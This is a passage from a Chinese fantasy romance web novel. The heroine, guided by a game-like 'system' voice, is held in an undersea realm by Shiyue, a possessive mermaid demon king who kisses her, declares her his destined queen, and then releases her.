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被什么冰冰凉凉、软软的东西贴了上来,片刻后又移开。
她好像...被他亲了。
“你!!!”
绯棠伸手去摸了摸自己的脸,不可置信地看向他,虽然看不见,但只觉得自己被冒犯了。
“什么东西,也敢亲我!”
对方又笑了笑,声音从胸腔中传来,不张扬却带着勾人的磁性,“乖。”
“乖你妹!我劝你赶紧放我出去,否则让我知道你是谁,我一定会将你大卸八块!”
“吾名蚀玥。”
蚀玥?绯棠听着觉得有些熟悉,但想不起来到底是谁,见他这么大的胆子竟然还敢报上名来,一时间更气了,“蚀玥是吧,你等着,让我找着机会我铁定弄死你。”
他又笑了笑,这一次还将她抱得更紧。“吾等你,届时,你想怎么弄便怎么弄。”
绯棠:“.......”
这时候,系统弱弱地出声,[宿主...我好像知道他是谁了。刚才他亲了你一下亲密值长了,结合他的名字是蚀玥来看......这人是无尽海域的统领,妖王蚀玥。]
“......”什么妖王啊,这明明是个流氓!
似乎是发觉她分心,蚀玥将脸轻轻蹭了蹭她的脸颊,“告诉吾,你如今在何处,姓甚名谁?”
绯棠往右边躲了躲,“我才不要告诉你,平白无故地将我拉来这个鬼地方,还想知道我现实中的身份,你想得真美。”
“哈...”他贴在她腰间的手往上走,一点一点划过她的背脊,一直到纤细脆弱的脖颈,声音低而危险道:“无妨,吾不会逼迫于你,吾与你来日方长。吾总会将你找出来,带来吾的领域,让你生生世世做吾的王后。”
王...王后?
“不,绝不可能!”
“呵......你生来便是吾的王后,此乃天命,吾等了你这么多年才等来这一刻,又岂能让你逃走。”
周围的海水突然间躁动了起来,绯棠只觉得身下之人的气息越来越不对劲,他的身体竟然有些发烫。
[宿主!他这是在发情期!]
绯棠撑在他的胸膛上的手连忙用力,想起身来,可腰间本就被拴得死紧,与他的下半身紧紧贴在一处。
绯棠懵了,完了完了!谢迟砚那儿还没搞定,现在先来了个妖王,这以后该怎么办啊!!!
原本以为今日要失身于他,可他只是将她紧紧抱着,轻轻蹭着,还低声笑得勾人,“吾说过不会逼迫于你。”
那你倒是松开啊!
绯棠生无可恋地看着上方。
这时候,海水再一次躁动不安,像是有某种未知的力量在外面攻击着。
蚀玥冷冰冰地往天上看去,知晓这是在震慑。
绯棠感觉不到,只觉得他似乎遇到了什么棘手的事,又将她抱得更紧,贴着她的耳垂低声道:“你倒是个得天运庇佑的......”
“罢了,吾会寻到你,这一次便先放你出去。”
随着他的话语落下,绯棠发觉周边四散的星星突然更亮了些。
她才看清楚这地方竟是海里,那些发亮的竟然是鱼。
而身下,他们正在一张硕大的贝壳上,那紧紧抱着她的男子长了一张完美无瑕、昳丽勾人的脸。
“你......”
绯棠眼睛都不眨一下,只觉得他耳间的珊瑚珠在随水流轻晃,他......没穿衣服,结实有力的上半身肤色冷白,她的手正撑在他的臂膀上,往下看去,下面竟是一条苍蓝色的鱼尾。
妖异却出奇的美艳......
好美。